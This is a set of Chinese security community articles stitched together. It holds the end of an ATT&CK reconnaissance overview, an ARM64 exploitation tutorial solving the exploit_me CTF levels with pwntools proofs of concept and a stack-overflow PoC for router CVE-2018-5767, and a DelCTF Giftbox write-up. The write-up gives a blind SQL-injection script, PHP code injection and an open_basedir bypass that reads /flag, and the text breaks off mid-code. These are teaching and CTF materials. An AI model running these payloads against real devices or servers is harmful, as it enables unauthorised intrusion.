###### 使用方式
通过cs的Attacks -> Package -> MS Office
Macro可以快速生成一份宏病毒代码，然后粘贴到word的->视图->查看宏->创建宏里就好了（不过会被杀软直接干掉，后面我们会细说如何过杀软）。
##### 鱼叉式钓鱼链接 Spearphishing Link
攻击者通过发送带有恶意链接的鱼叉式电子邮件，试图访问受害者系统。这种攻击使用电子邮件中的链接下载恶意软件，而不是将恶意文件附加到电子邮件，从而避免电子邮件检查的防御。
该攻击会暗示或者要求受害者去点击邮件中的链接，受害者访问这个链接可能会通过浏览器漏洞获得权限（如前段时间的chrome
0Day），或者转到鱼叉式钓鱼攻击让受害者下载应用程序，文档，压缩包等，亦或者模仿受害者常用的网站做一个虚假的界面欺骗用户提供账号，密码，PIN或者其他隐秘信息。
#### 七 搜索闭源 （Search Closed Sources ）
在开始攻击之前攻击者可能会从闭源收集受害者的信息。这些信息可能可以从信誉良好的私有资源或数据库购买到，比如付费的技术/威胁情报。攻击者也可以从信誉较差的比如暗网或者网络黑市（比如telegram或者黑产群等）购买信息。
攻击者可能会根据寻求的信息从不同的闭源对其搜索。从这些闭源查询到的信息很可能会让攻击者发现 **侦察阶段**
的其他攻击面（比如钓鱼攻击或者开放的网站或者域名）建立的业务资源（比如开发能力或者获得能力），初始权限（比如远程服务访问，可用账户）。
###### 使用方式
<https://x.threatbook.cn/>微步威胁情报社区
#### 八 搜索开放式技术数据库 （Search Open Technical Databases ）
攻击者可以通过搜索免费的技术数据库，以搜集可以用在攻击阶段的信息，比如域/证书的注册信息，从流量/扫描中收集的网络数据/产品的集合。
这些信息可能让攻击者发现侦查阶段的其他攻击面，比如钓鱼或开放的网站/域，资产信息，初始权限。
###### 使用方式
DNS/WHOIS/数字证书/CDN/网络空间扫描器/查询
[DNSdumpster.com - dns recon and research, find and lookup dns
records](https://dnsdumpster.com/)
<https://www.circl.lu/services/passive-dns/>
[Whois Lookup & IP | Whois.net](https://www.whois.net/)
[域名Whois查询 - 站长之家 (chinaz.com)](https://whois.chinaz.com/)
<https://www.sslshopper.com/ssl-checker.html>
<https://www.zoomeye.org/>
<https://fofa.so/>
#### 九 搜索开放网站/域名（Search Open Websites/Domains）
攻击者可以通过搜索查找有关受害者的可用的网站/域名。这些信息可以通过各种线上网站获得，例如社交媒体，新网站，或者托管有关企业的运行信息（例如，雇佣，请求，奖励的合同）网站。
##### 社交媒体
攻击者可以通过社交媒体中企业员工/实习生/新员工在社交媒体的视频/图片/文字中获得企业的相关信息，比如企业办公室布局，电脑桌面程序，徽章图片，公开在白板上的信息/密码等，从而使攻击者更好的进行钓鱼攻击或者直接获得初始账号，收集业务资源等。
##### 搜索引擎
攻击者可以通过google/百度语法搜索特定的关键词或特定文件类型，其实也就是我们常说的google黑客。
###### 使用方式
[Google Hacking Database (GHDB) - Google Dorks, OSINT, Recon (exploit-db.com)](https://www.exploit-db.com/google-hacking-database)
[Exploring Google Hacking Techniques - Top Google Dorks
(securitytrails.com)](https://securitytrails.com/blog/google-hacking-techniques)
[高级搜索 (baidu.com)](https://www.baidu.com/gaoji/advanced.html)
#### 十 搜索受害者拥有的网站 （Search Victim-Owned Websites）
攻击者可以搜索数据受害者的网站，这些网站可能会包含多种信息，比如部门名称，物理位置，关键员工的相关数据（姓名，职务，联系方式等）。这些网站可能还会包含关键业务运作和商业关系的细节。
## Refer
[Updates - Updates - July 2016 | MITRE
ATT&CK?](https://attack.mitre.org/resources/updates/updates-july-2016/index.html)
[Matrix - Enterprise | MITRE
ATT&CK?](https://attack.mitre.org/matrices/enterprise/)
<https://wiki.owasp.org/index.php/OAT-014_Vulnerability_Scanning>
<https://www.freebuf.com/articles/others-articles/250028.html>
<https://www.aqniu.com/vendor/72973.html>
<https://plcscan.org/blog/2020/04/research-report-of-renowned-internet-census-organization-1/>
[https://mp.weixin.qq.com/mp/appmsgalbum?__biz=MjM5NDQ5NjM5NQ==&action=getalbum&album_id=1481755277342326786&scene=173&from_msgid=2651626102&from_itemidx=1&count=3&nolastread=1#wechat_redirect](https://mp.weixin.qq.com/mp/appmsgalbum?__biz=MjM5NDQ5NjM5NQ==&action=getalbum&album_id=1481755277342326786&scene=173&from_msgid=2651626102&from_itemidx=1&count=3&nolastread=1#wechat_redirect)
<https://attack.mitre.org/techniques/T1595/002/>
<https://bbs.csdn.net/topics/100128165>
<https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks>
<https://www.freebuf.com/articles/network/261703.html>
[首页 - 微步在线威胁情报社区 (threatbook.cn)](https://x.threatbook.cn/)
[What is Spear-phishing? Defining and Differentiating Spear-phishing from
Phishing | Digital Guardian](https://digitalguardian.com/blog/what-is-spear-phishing-defining-and-differentiating-spear-phishing-and-phishing)
[一个“特别”的Word宏病毒深度分析 -FreeBuf网络安全行业门户](https://www.freebuf.com/articles/system/103309.html)
[office宏攻击 - Leticia's Blog
(uuzdaisuki.com)](https://uuzdaisuki.com/2020/08/20/office宏攻击/)
[https://blog.csdn.net/shuteer_xu/article/details/107031951?utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromMachineLearnPai2%7Edefault-3.control&dist_request_id=&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromMachineLearnPai2%7Edefault-3.control](https://blog.csdn.net/shuteer_xu/article/details/107031951?utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromMachineLearnPai2%7Edefault-3.control&dist_request_id=&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromMachineLearnPai2%7Edefault-3.control)
* * * | 社区文章 |
**作者：Ryze-T
本文为作者投稿，Seebug Paper 期待你的分享，凡经采用即有礼品相送！ 投稿邮箱：[email protected] **
## 0x00 简介
ARM 属于 CPU 架构的一种，主要应用于嵌入式设备、智能手机、平板电脑、智能穿戴、物联网设备等。
ARM64 指使用64位ARM指令集，64位指指数据处理能力即一条指令处理的数据宽度，指令编码使用定长32比特编码。
## 0x01 ARM
### 1.1 字节序
字节序分为大端（BE）和小端（LE）：
* 大端序（Big-Endian）将数据的低位字节存放在内存的高位地址，高位字节存放在低位地址。这种排列方式与数据用字节表示时的书写顺序一致，符合人类的阅读习惯。
* 小端序（Little-Endian）将一个多位数的低位放在较小的地址处，高位放在较大的地址处。小端序与人类的阅读习惯相反，但更符合计算机读取内存的方式，因为CPU读取内存中的数据时，是从低地址向高地址方向进行读取的。
在v3之前，ARM体系结构为little-endian字节序，此后，ARM处理器成为BI-endian，并具允许可切换字节序。
### 1.2 寄存器
#### 1.2.1 32位寄存器
R0-R12：正常操作期间存储临时值、指针。
其中：
* R0用于存储先前调用的函数的结果
* R7用于存储系统调用号
* R11跟踪用作帧指针的堆栈的边界，函数调用约定指定函数的前四个参数存储在寄存器 R0-R3 中
* R13也称为SP，作为堆栈指针，指向堆栈的顶部
* R14也被称为 LR，作为链接寄存器，进行功能调用时，链接寄存器将使用一个内存地址进行更新，该内存地址引用了从其开始该功能的下一条指令，即保存子程序保存的地址
* R15也称为PC，即程序计数器，程序计数器自动增加执行指令的大小。
当参数少于4个时，子程序间通过寄存器R0~R3来传递参数；当参数个数多于4个时，将多余的参数通过数据栈进行传递，入栈顺序与参数顺序正好相反，子程序返回前无需恢复R0~R3的值。
在子程序中，使用R4～R11保存局部变量，若使用需要入栈保存，子程序返回前需要恢复这些寄存器；R12是临时寄存器，使用不需要保存。
子程序返回32位的整数，使用R0返回；返回64位整数时，使用R0返回低位，R1返回高位。
#### 1.2.2 64位寄存器
### 1.3 指令
ARM 指令模版：
MNEMONIC{S} {condition} {Rd}, Operand1, Operand2
> [!NOTE] MNEMONIC：指令简称 {S}：可选后缀，如果指定了S，即可根据结果更新条件标志 {condition}：执行指令需满足的条件
> {Rd}：用于存储指令结果的寄存器 Operand1：第一个操作数，寄存器或立即数 Operand2：可选，可以是立即数或者带可移位的寄存器
### 1.4 栈帧
栈帧是一个函数所使用的那部分栈，所有的函数的栈帧串起来就是一个完整的栈。栈帧的边界分别由 fp 和 sp 来限定。
FP就是栈基址，它指向函数的栈帧起始地址；SP则是函数的栈指针，它指向栈顶的位置。ARM压栈的顺序依次为当前函数指针PC、返回指针LR、栈指针SP、栈基址FP、传入参数个数及指针、本地变量和临时变量。
如果函数准备调用另一个函数，跳转之前临时变量区先要保存另一个函数的参数。从main函数进入到func1函数，main函数的上边界和下边界保存在被它调用的栈帧里面。
### 1.5 叶子函数和非叶子函数
叶子函数是指本身不会调用其他函数，非叶子函数相反。非叶子函数在调用时 LR
会被修改，因此需要保留该寄存器的值。在栈溢出的场景下，非叶子函数的利用会比较简单。
## 0x02 固件模拟
ARM架构的二进制程序，要进行固件模拟才可以运行和调试。
目前比较主流的方法还是使用QEMU，可以参考[路由器固件模拟环境搭建](https://xz.com/t/5697)，也可以用一些仿真工具，比如
Firmadyne 和 firmAE。
如果想依靠固件模拟自建一些工具，可以考虑使用 [Qiling](https://docs.qiling.io/en/latest/)。
## 0x03 漏洞
### 3.1 exploit_me
[下载地址](\[bkerler/exploit_me: Very vulnerable ARM/AARCH64 application \(CTF
style exploitation tutorial with 14 vulnerability techniques\)
\(github.com\)\]\(https://github.com/bkerler/exploit_me\))
运行bin目录下的 expliot64开始进行挑战：
#### Level 1: Integer overflow
漏洞触发代码如下：
a1 是传入的第二个参数，atoi
函数可以将传入的参数字符串转为整数，然后进行判断，第一个判断是判断转换后的v2是否为0或负数，若不是，则进入第二个判断，判断 v2
的低16位（WORD）是否不为0，即低16位是否为0，若为0则跳过判断。
atoi 函数存在整数溢出，当输入 -65536，会转换为0xffff0000：
此数的低16位是0，因此可以绕过判断。
#### Level 2: Stack overflow
漏洞触发代码如下：
verify_user 函数会验证输入的第一个参数是否为 admin，验证完成后，会继续验证第二个参数是否是
funny，看起来似乎很简单，但是可以看到即使两个参数都按照要求输入，也不会得到 level3 password：
查看第三关的入口，可以看到第三关的password参数为 aVelvet：
通过查找引用可以得到 level3password 这个函数才是输出 aVelvet 的关键函数，但是此函数并未被引用。然而 strcpy(&v3, a1)
这一行伪代码暴露出存在栈溢出，因此可以通过覆盖栈上存储的返回地址，来跳转到 level3password 函数中。
首先通过 pwndbg cyclic 生成一个长度为200的序列，当作第一个参数输入：
得到偏移为16。
IDA 查看 level3password 地址为 0x401178，因此构造PoC：
from pwn import *
context.arch = 'aarch64'
context.os = 'linux'
pad = b'aaaaaaaaaaaaaaaa\x78\x11\x40'
io = process(argv=['./exploit64','help',pad,'123'])
print(io.recv())
得到 password “Velvet”
#### Level 3: Array overflow
抽出核心代码为：
a1 = atoi(argv[2]);
a2 = atoi(argv[3]);
_DWORD v3[32]; // [xsp+20h] [xbp+20h]
v3[a1] = a2;
return printf("filling array position %d with %d\n", a1, a2);
这里有很明显的数组越界写入的问题。用gdb 进行调试：`gdb --args ./exploit64 Velvet 33 1`，在 0x401310（str
w2, [x1, x0] 数组赋值） 处下断点，查看寄存器：
可以看到，当执行到赋值语句时，值传递是在栈上进行的，因此此处可以实现栈上的覆盖。
gdbserver配合IDA pro 尝试：
当传入参数为34，00000000 时，可以看到此刻执行`STR W2, [X1,X0]` 是将00000000 传到 0x000FFFFFFFFEBC0
+ 0x84 = 0x000FFFFFFFFEC44 中：
0x000FFFFFFFFEC48 存储的就是 array_overflow 函数在栈上存储的返回地址。
因此只要覆盖此位置就可以劫持程序执行流。与 level2 同理，找到password 函数地址为 0x00000000004012C8
因此构造PoC：
from pwn import *
context.arch = 'aarch64'
context.os = 'linux'
context.log_level = 'debug'
pad = "4199112"（0x00000000004012C8转十进制作为字符串传入）
io = process(argv=['./exploit64','Velvet',"34",pad])
print(io.recv())
#### Level 4: Off by one
核心代码如下：
传入的参数长度不能大于 0x100，复制到v3[256] 后，要使 v4 = 0。
字符串在程序中表示时，其实是会多出一个 "0x00" 来作为字符串到结束符号。因此PoC为：
from pwn import *
context.arch = 'aarch64'
context.os = 'linux'
context.log_level = 'debug'
payload = 'a' * 256
io = process(argv=['./exploit64','mysecret',payload])
print(io.recv())
#### Level 5: Stack cookie
Stack Cookie 是为了应对栈溢出采取的防护手段之一，目的是在栈上放入一个检验值，若栈溢出Payload在覆盖栈空间时，也覆盖了 Stack
Cookie，则校验 Cookie 时会退出。
这里的Stack Cookie 是 secret = 0x1337。
通过汇编可以看出，v2 存储在 sp+0x58 -- sp+ 0x28 中，所以当 strcpy 没限制长度时，可以覆盖栈空间，secret 存储在
sp+0x6C 中，v3 存储在 sp+0x68中，因此只要覆盖这两个位置为判断值，就可以完成攻击。
#### Level 6: Format string
> [!NOTE] 格式化字符串漏洞 格式化字符串漏洞是比较经典的漏洞之一。 printf
> 函数的第一个参数是字符串，开发者可以使用占位符，将实际要输出的内容，也就是第二个参数通过占位符标识的格式输出。 例如：
>
> 当第二个参数为空时，程序也可以输出：
>
> 这是因为，printf从栈上取参时，当第一个参数中存在占位符，它会认为第二个参数也已经压入栈，因此通过这种方式可以读到栈上存储的值。
> 格式化字符串漏洞的典型利用方法有三个： 1\. 栈上数据，如上所述 2\. 任意地址读：
> 当占位符为%s时，读取的第二个参数会被当作目标字符串的地址，因此如果可以在栈上写入目标地址，然后作为第二个参数传递给printf，就可以实现任意地址读
> 3\. 任意地址写： 当占位符为%n时，其含义是将占位符之前成功输出的字节数写入到目标地址中，因此可以实现任意地址写，如：
>
> 一般配合%c使用，%c可以输出一个字符，在利用时通过会使用
程序逻辑为：
程序逻辑为输入 password，打印 password，判断 v1 是否为 89，是则输出密码。
这里 printf(Password)，Password 完全可控，这里存在格式化字符串漏洞。
通过汇编可以看到：
Arm64 函数调用时前八个参数会存入 x0-x7 寄存器，因此第8个占位符会从栈上开始取参，sp+0x18 是我们需要修改的地址，因此偏移为
7+3=10。
PoC为：
from pwn import *
context.arch = 'aarch64'
context.os = 'linux'
context.log_level = 'debug'
payload = '%16lx'*9+'%201c%n' # 16*9+201=345=0x159
io = process(argv=['./exploit64','happyness'])
io.sendline(payload)
print(io.recv())
#### Level 7: Heap overflow
v7 和 v8 都是创建的堆空间，且在 strcpy 时未规定长度，因此可以产生堆溢出，从而覆盖到v7的堆空间，完成判断。
通过 pwngdb 生成测试字符串，在 printf处下断点，查看 v7 是否被覆盖和偏移：
通过 x1 寄存器可知，偏移为 48。
因此 PoC为：
from pwn import *
context.arch = 'aarch64'
context.os = 'linux'
context.log_level = 'debug'
payload = 'A'*48 + '\x63\x67'
io = process(argv=['./exploit64','mypony',payload])
#io.sendline(payload)
print(io.recv())
#### Level 8: Structure redirection / Type confusion
一直跟进Msg:Msg：
而在strcpy 下面一行有用 v12 作为函数指针执行，v12 = v2 = &Run::Run(v2)，
因此需要通过strcpy覆盖栈空间上存储的v12，来控制函数执行流。且覆盖为0x4c55a0，从而在取出 v12
当作函数指针执行时可以指向Msg::msg：
根据汇编，v12 存储在 sp+0x90-0x10 = sp+0x80 处，strcpy 从 sp+0x90-0x68 = sp+0x28 处开始，偏移为
0x80-0x28 - 0x8 = 0x50。
因此PoC为：`./exploit64 Exploiter $(python -c 'import
sys;sys.stdout.buffer.write(b"A"*(20*4)+b"\xa0\x55\x4c\x00\x00\x00\x00\x00")')`
#### Level 9: Zero pointers
先使用 gdb 调试， `gdb --args ./exploit64 Gimme a 1`，程序报错：
第二个参数应该填写的是地址：
在程序执行过程中，v4指向的值会被置0，v4指向的是a1的地址，因此a1地址指向的值会变为0。
因此要想完成 v3 的判断，只需要将 v3 地址传入即可。
PoC为`./exploit64 Gimme 0xffffffffec9c 1`:
#### Level 10: Command injection
关键点 `v9 = "man" + *(a2+16)`，v9中要包含 “;” 才可以完成判断。
因此 PoC 为 `./exploit64 Fun "a;whoami"`:
#### Level 11: Path Traversal
PoC为`./exploit64 Violet dir1/dir2/../..`
#### Level 12: Return oriented programming (ROP)
scanf 并未限制长度，因此此处存在溢出，通过pwndbg 的 cyclic 得到偏移为72。
现在目的是跳到 comp 函数中，且参数要为 0x5678：
因此需要构造 Rop Gadget，构造的 Gadget 应该具备以下功能，将comp 判断的地址 0x400784加入lr寄存器(x30),并能执行
ret，这样就可以在溢出时，将程序执行流劫持到 Rop Gadget 的地址。
这样在跳转时这个地址会被压栈作为 Rop 的 ret 的返回地址。
程序给了一个叫 ropgadgetstack 的 rop Gadget：
通过调试可知，x0 和 x1 在 0x400744 执行后都为当前sp寄存器存储的值，因此 0x400784的比较可以正常完成；lr寄存器，也就是x30 =
（0x400744 时）sp+0x10 + 0x8。
输入 `payload = b'A'*72 + p64(0x400744) +
b'BBBBCCCCDDDDEEEEFFFFGGGGHHHHJJJJKKKKLLLLMMMMNNNNOOOOPPPP'` 进行调试：
可知，paylad 从 0x400744后，再填充32个字符开始，会覆盖到当前$sp，因此只要再覆盖24个字符后，覆盖为 0x400784 就可以在 ret
执行后跳到 comp 的比较处。payload为 `payload = b'A'*72 + p64(0x400744) + b'B'*32 +
b'C'*16 + b'D'*8 + p64(0x400784)`
#### Level 13: Use-after-free
根据代码逻辑可看出，输入的第二个参数决定了执行 switch 几次以及执行那一个选项，0是 malloc，mappingstr就指向堆块；1是 free；2
是函数指针执行；3是 malloc，且malloc 申请地址后存储的值就是 command。
很明显这是一个Use After Free，通过0创建一个堆块，mappingstr不为空此时再 free
mappingstr，再malloc一个相同大小的堆块，就可以申请到 mappingstr 的堆块，复制 command
到堆块后，再通过函数指针执行。level13password函数地址是 0x4008c4。
因此 payload 为：`payload = b'a' * 64 + p64(0x4008c4)`
执行参数为 0312：
#### Level 14: Jump oriented programming (JOP)
与ROP不同，JOP
是使用程序间接接跳转和间接调用指令来改变程序的控制流，当程序在执行间接跳转或者是间接调用指令时，程序将从指定寄存器中获得其跳转的目的地址，由于这些跳转目的地址被保存在寄存器中，而攻击者又能通过修改栈中的内容来修改寄存器内容，这使得程序中间接跳转和间接调用的目的地址能被攻击者篡改，从而劫持了程序的执行流。
关键点在两个 fread 上，第一个 fread 将文件中的4个字节读到 v2 中，第二个read 又将 v2 作为读取字节数，从 v5 中读取到
v3，v3 分配在栈空间上，因此这里会出现栈溢出。
看汇编会更明显：
通过 gdb 测试，得到偏移为 52。
往一个文件里写入 `data = b'A'*52 + p64(0x400898)`
执行：
### 3.2 CVE 案例
#### CVE-2018-5767
具体分析过程可见：[CVE-2018-5767](https://ryze-t.com/2022/09/02/CVE-2018-5767/)
漏洞触发点在：
此处存在一个未经验证的 sscanf，它会将 v40 中存储的值按照 `"%*[^=]=%[^;];*"` 格式化输入到
v33，但是并未验证字符串长度，因此此处会产生一个栈溢出。
PoC 如下：
import requests
url = "http://10.211.55.4:80/goform/execCommand"
payload = 'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaae' +".png"
headers = {
'Cookie': 'password=' + payload
}
print(headers)
response = requests.request("GET", url, headers=headers)
通过远程调试可观察到，在 PoC 执行后：
由于栈溢出，PC 寄存器被覆盖，导致程序执行到错误的内存地址而报错。偏移量为444。
## 0x04 总结
ARM的分析与x86类似，只是在函数调用、寄存器等方面存在差异，相对来说保护机制也较弱，且应用场景更为广泛，如IOT设备、车联网等，如果能顺利完成固件提取，可玩性相对较高。
* * * | 社区文章 |
# DelCTF web之Giftbox题解
## 0x1 前言
因为自己太菜了，当时就没怎么看题目，然后坐等wp了来复盘一波，感觉这次的国际赛的web其实难度并不是很深，但是对一个ctfer的基本功要求很高，包括一些知识面、编写脚本以及fuzz的能力，就是一种综合题的即视感。我分享下当时自己的做题过程，希望对一些新手能有所启发。
## 0x2 题目介绍
相关环境(我做题的时候还在开放着)
送给小蛮腰的礼物，她是一位美丽的姑娘。
A gift for Canton Tower, a pretty girl.
http://207.148.79.106:8090 (sg-sgp)
http://45.76.193.153:8090 (jp-tky)
http://222.85.25.41:8090 (cn-zgz)
http://136.244.114.21:8090 (fr-par)
http://66.42.96.82:8090 (us-lax)
## 0x3 做题过程分析
ma下直接搜索下关键字命令找到tamper的路径:
`command: locate "*multiplespaces*"`
然后进入里面打开修改为我们的注入语句就可以了
这个注入点没有任何过滤，但是需要注意空格的话会被识别为命令的分隔符，我当时就是被这个坑了一波。
怎么测试注入点的呢?
以后对于mysql可以使用这个payload(完美避开坑点):
`login xadmin'or(1)# 1234`
`login xadmin'or(0)# 1234`
那么我们抓包看看，能不能丢进sqlmap里面直接跑，如果不能再fuzz规则过滤绕过( 本菜ctf的做题思路)
结果经过测试发现totp参数应该类似个token的东西,果断查看前端代码看下怎么构造的。
直接搜索关键字`totp`
这些时候估计大佬们一眼看穿了考点，我比较菜，所以google了一下这个东西。
关于这个算法简单理解下
> totp是基于时间的一次性密码算法。
>
> 根据预共享的密钥与当前时间计算的一次性密码算法。
>
> 要求：
>
> 1) 令牌与服务器之间必须时钟同步；
>
> 2) 令牌与服务器之间必须共享密钥；
>
> 3) 令牌与服务器之间必须使用相同的时间步长
>
> 算法：
>
> TOTP =Truncate(HMAC-SHA-1(K, (T - T0) / X)) X就是间隔的意思。
这样我们可以得到什么信息呢。
首先这是个密码算法，然后它是共享密钥的。 也就是加密过程就算语言不同，运算过程都是一样的。
那么这个程序后端是怎么校验`totp`,这个时候可以看下作者本意的提示(其实看不看都无所谓！可以分析客户端js得到配置的参数)
我们可以直接分析js获取到参数:
可以看到js的加载顺序如下,`new ToTp`是在`main.js`调用的，所以大概就知道TOTP的初始化位置了,跟进看看。
重点是`totp.min.js` 出处是:<https://github.com/wuyanxin/totp.js> (简单读下，很容易就发现这个算法了)
很明显缺省值就是5嘛。因为这个题目作者可能为了降低难度，所以没有任何过滤，这样我们难道还
闲的没事去写脚本注入吗，直接调用sqlmap就好了。
直接`flask`起个服务,转发给sqlmap跑就好了，
重点是配置好`totp = pyotp.TOTP('GAXG24JTMZXGKZBU', 8, interval=5)`也就是长度为8，间隔为5
然后sqlmap跑起来就好了
获取到密码:`hint{G1ve_u_hi33en_C0mm3nd-sh0w_hiiintttt_23333}`
然后根据他的提示尝试下hidden command: `sh0w_hiiintttt_23333`
我们再次`ls`查看有个用法,然后`cat`一下
De1ta Nuclear Missile Controlling System 这个系统贼有意思叫做核弹控制系统
其实看到`eval` `code` 就可以猜到是考代码注入了。我们先随便试试看看
看到这个，当时直接试试了下`targeting a a";phpinfo();//`然后发现过滤，那么我们可以fuzz下
可以看到 0(变量名称) 1(变量内容) 位置分别过滤字符
其实这个因为php存在`variable variables`语法，双引号也可以执行代码。
[从一道题讲PHP复杂变量](https://xz.aliyun.com/t/4785) 可以看看这篇文章
这里我直接给出payload:
然后直接写一句话就好了,密码为x,后面就是绕过`open_basedir`的问题了
关于具体的payload可以看我写的完整exp脚本。
### 0x3.1 前端ajax注入
这里我贴一下@一叶飘零师傅写的脚本,原理其实差不多，就是`script`的语言改变了。
async function ajax(username) {
return new Promise(function (resolve, reject) {
let ajaxSetting = {
url: host + `/shell.php?a=login%20${encodeURIComponent(username)}%201&validthis=1&totp=${new TOTP("GAXG24JTMZXGKZBU",8).genOTP()}`,
type: "GET",
dataType: 'json',
success: function (response) {
resolve(response);
},
error: function () {
reject("请求失败");
}
}
$.ajax(ajaxSetting);
});
}
async function test(username) {
const res = await ajax(username);
return res.message
}
async function blind() {
let ret = ""
for(let j = 1; j < 100; j++) {
for(let i = 0x20; i < 0x7f; i++) { //here are printable characters
//表名 const message = await test(`admin'and(ascii(substr((select\x0agroup_concat(TABLE_NAME)\x0afrom\x0ainformation_schema.TABLES\x0awhere\x0aTABLE_SCHEMA=database()),${j},1))=${i})#`)
//列名 const message = await test(`admin'and(ascii(substr((select\x0agroup_concat(COLUMN_NAME)\x0afrom\x0ainformation_schema.COLUMNS\x0awhere\x0aTABLE_NAME=0x7573657273),${j},1))=${i})#`)
const message = await test(`admin'and(ascii(substr((select\x0apassword\x0afrom\x0ausers\x0alimit\x0a0,1),${j},1))=${i})#`);
if(message == 'login fail, password incorrect.') {
ret += String.fromCharCode(i);
console.log(ret)
break;
}
}
console.log(`${j}: ${ret}`)
}
return ret;
}
直接在浏览器终端输入,然后输入`bind()`即可执行,感觉有点卡顿。
我个人感觉,前端注入能解决很多痛点问题，其实可以做集成专门的一款js注入生成工具，或者把数据转发相当于正向代理那种感觉。(欢迎师傅找我一起研究下)
那么小白如何编写前端ajax注入脚本呢,下面分享下自己的学习过程。
通俗理解下javascript的同步与异步的概念:
> **同步和异步的理解**
> ：当我们发出了请求，并不会等待响应结果，而是会继续执行后面的代码，响应结果的处理在之后的事件循环中解决。那么同步的意思，就是等结果出来之后，代码才会继续往下执行。
>
>
> 我们可以用一个两人问答的场景来比喻异步与同步。A向B问了一个问题之后，不等待B的回答，接着问下一个问题，这是异步。A向B问了一个问题之后，然后就笑呵呵的等着B回答，B回答了之后他才会接着问下一个问题，这是同步。
分析这个脚本的构成:
async function blind() # 主函数，fuzz字符
async function test(username) # 等待异步
async function ajax(username) # 发起请求
编写这个脚本主要就是处理好通过await阻塞处理异步的问题。因为javascript函数默认都是异步的。
### 0x3.2 简单分析 Bypass open_basedir
我们通过直接利用命令: `x=echo(file_get_contens('/flag'));`
会发现没有回显,这个时候我们需要考虑下是不是权限的问题还是做了目录限制尝试读取下`phpinfo();`
首先搜索下:`open_basedir`
可以发现正是出题人对应的设置:
这个题目其实按照逻辑来说,`disable_function`限制了执行命令.
然后
PHP连接方式是:`apche2-module`,所以基本不用考虑什么PHP-FPM绕过命令执行问题,而且一般ctf比赛
`flag`的权限都是任何人可读(`chmod 644 /flag`),又可以很明显看到了`open_basedir: /app:/sandbox`
所以考点就很清晰了嘛,就是绕过`open_basedir`
那么怎么绕过`open_basedir`呢,其实在4月份的时候就有大神在twitter发出来了方法,在p神的小秘圈也有，虽然我很少打ctf，但是对于一些有趣的技术探讨我还是会去了解一下的，但是没深究原理，趁着这次做题的机会，在网上看了一些文章，感觉对于像我这种菜鸡来说还是挺难懂的，所以我取其精华，自己debug一下php源代码，跟踪一下关键流程。
首先给出绕过的`payload`,借用twitter大神的图
简化下`payload`:
chdir('css');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo(file_get_contents('/flag'));
代码意思就是,先改变当前文件(`/var/www/html/`)所处的路径为(`/var/www/html/css`),查阅官方介绍下这个配置函数`ini_set`的一些信息如下:
效果看下:
> ### Description
>
> ini_set ( string `$varname` , string `$newvalue` ) : string
>
> Sets the value of the given configuration option. The configuration option
> will keep this new value during the script's execution, and will be restored
> at the script's ending.
>
> 简单翻译下就是这个可以修改php script运行时对应的php.ini的一些配置
`ini_set`自身有保护措施的,举个例子
这个本身就是`open_basedir`发挥的作用，用来限制php script能操作的目录。
其实这个漏洞简单来讲就是相对路径没处理好，让他不断改变目录结构然后验证的时候被绕过。
一开始我的想法是这样的，
是不行的哦,其实要理解为什么，还是得从底层分析下，了解下`chdir`设置什么绕过了php对`open_basedir`的判断,关于mac怎么调试php源码
可以参考我之前写的一篇文章[初探php扩展之MAC下环境配置篇](https://xz.aliyun.com/t/4687)
再次安利一本书:
[PHP7内核剖析](https://www.kancloud.cn/nickbai/php7/363315)
我debug的php版本为:
> PHP 7.1.8 (cli) (built: Aug 8 2019 22:52:48) ( NTS DEBUG )
> Copyright (c) 1997-2017 The PHP Group
> Zend Engine v3.1.0, Copyright (c) 1998-2017 Zend Technologies
php src的目录结构前面文章已经说过了,我们重点关注`ext`目录即可
>
> ext目录下放的是php里面的扩展，包括我们经常使用的一些核心函数(json_encode,json_decode)同时也包括mysqli、pdo等核心类
xq17@localhost ~/Desktop/个人学习/php扩展学习/debugphp/php-7.1.8/ext tree -L 1
.
├── bcmath
├── bz2
├── calendar
├── com_dotnet
├── ctype
├── curl
├── date
├── dba
├── dom
├── enchant
├── exif
├── ext_skel
├── ext_skel_win32.php
├── fileinfo
├── filter
├── ftp
├── gd
├── gettext
├── gmp
├── hash
├── iconv
├── imap
├── interbase
├── intl
├── json
├── ldap
├── libxml
├── mbstring
├── mcrypt
├── mysqli
├── mysqlnd
├── oci8
├── odbc
├── opcache
├── openssl
├── pcntl
├── pcre
├── pdo
├── pdo_dblib
├── pdo_firebird
├── pdo_mysql
├── pdo_oci
├── pdo_odbc
├── pdo_pgsql
├── pdo_sqlite
├── pgsql
├── phar
├── posix
├── pspell
├── readline
├── recode
├── reflection
├── session
├── shmop
├── simplexml
├── skeleton
├── snmp
├── soap
├── sockets
├── spl
├── sqlite3
├── standard
├── sysvmsg
├── sysvsem
├── sysvshm
├── tidy
├── tokenizer
├── wddx
├── xml
├── xmlreader
├── xmlrpc
├── xmlwriter
├── xsl
├── zip
└── zlib
我就不一一介绍了,太多了也啃不动，其实我觉得学习内核看那本书然后自己调试学习主要思想好了，真的要完全读懂我感觉不是很大必要。
我们之间在当前目录下搜索 `_FUNCTION(ini_set)`
然后直接跟进c源文件,下个断点开启调试
我们先看下这个函数的构成吧
PHP_FUNCTION(ini_set)
{
zend_string *varname;
zend_string *new_value;
char *old_value;
if (zend_parse_parameters(ZEND_NUM_ARGS(), "SS", &varname, &new_value) == FAILURE) {
return;
}
old_value = zend_ini_string(ZSTR_VAL(varname), (int)ZSTR_LEN(varname), 0);
